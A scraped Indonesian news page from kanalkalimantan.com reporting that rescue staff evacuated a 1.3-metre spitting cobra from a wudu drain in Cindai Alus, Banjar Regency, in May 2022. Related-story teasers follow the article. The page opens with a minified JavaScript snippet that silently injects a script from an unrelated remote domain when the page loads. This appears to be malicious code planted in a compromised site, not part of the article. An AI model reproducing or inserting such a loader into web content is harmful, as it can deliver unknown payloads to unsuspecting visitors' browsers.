(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Seekor ular kobra dievakuasi dari depan rumah warga Cindai Alus jalan Irigasi RT 09 RW 03, Desa Cindai Alus, Kecamatan Martapura Kota, Kabupaten Banjar, pada Rabu (25/5/2022) sore.
Sebelumnya, ular tersebut dilaporkan tengah berada di saluran pembuangan air yang berada di depan rumah milik H Isngadi di Blok B No 17, tempatnya saluran itu digunakan untuk berwudhu.
Kepala Seksi Sarana Prasarana, Informasi dan Pengolahan Data Dinas Pemadan Kebakaran dan Penyelamat (DPKP) Kabupaten Banjar, Muhammad Safwan mengatakan untungnya, ular kobra jenis Naja Sputatrix yang berbisa itu tidak membahayakan hingga menelan korban.
Ular sepanjang 1,3 meter yang diketahui bisa menyemprotkan racun ke arah pengganggunya itu diketahui pertama kali oleh H Isngadi dan ia pun bergegas melaporkannya ke DPKP Kabupaten Banjar.
Baca juga : Jelang Pilkades Serentak di HSU, Calon Kades Pamintangan Kampanye Damai
Atas laporan tersebut Kepala DPKP Kabupaten Banjar, Rahmat Kartolo mengerahkan tiga petugas Tim Animal Rescue DPKP, yang kemudian dipimpin Mulkan langsung menuju kelokasi dan melakukan evakuasi.
Beruntung keberadaan ular kobra itu masih dapat dijangkau menggunakan alat penjepit. Sehingga petugas bisa langsung mengevakuasi ular berbisa itu.
“Kami menangkap ular kobra jawa itu pakai penjepit ular. Panjang ularnya sekitar satu koma tiga meter,” jelas Muhammad Safwan.
Tak berselang lama, petugas akhirnya berhasil mengevakuasi ular tersebut. Setelah selesai dievakuasi ular tersebut akan dilepas liarkan kembali ke tempat yang jauh dari permukiman warga.
Baca juga : Akses Air Bersih Warga Dusun Tajur, Kodim 1022 Bersama PT JB Bangun Tower Tandon dan Pipa
“Alhamdulillah proses evakuasi terhadap ular yang berada di saluran pembuangan tempat wudhu berjalan lancar,” lanjutnya.
Safwan mengimbau pada masyarakat untuk tetap mengutamakan keselamatan jika mendapati binatang berbahaya, seperti ular kobra. Masyarakat hendaknya melapor ke petugas Damkar untuk dibantu mengevakuasi binatang melata itu.
“Kami tentu siap siaga 24 jam membantu masyarakat,” kata Safwan. (kanalkalimantan.com/wanda)
Reporter : wanda
Editor : cell
Singapore Exchange Kecolongan, Data Palsu Digunakan untuk IPO Saham Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sidang kasus dugaan korupsi dari Kabupaten Hulu Sungai Selatan (HSS), Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Ribuan belut sawah hidup dari wilayah Kalimantan Selatan (Kalsel) dikirim ke negara… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dinas Komunikasi Informatika dan Persandian (Diskominfosandi) Hulu Sungai Utara (HSU) menggelar bimbingan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Lima rumah terbakar di Jalan Delima Ujung RT 003 RW 001 Kelurahan… Read More
KANALKALIMANTAN.COM, PARINGIN - Pemerintah Kabupaten Balangan telah menerima persetujuan 750 formasi tahun 2024 untuk pengadaan… Read More
This website uses cookies.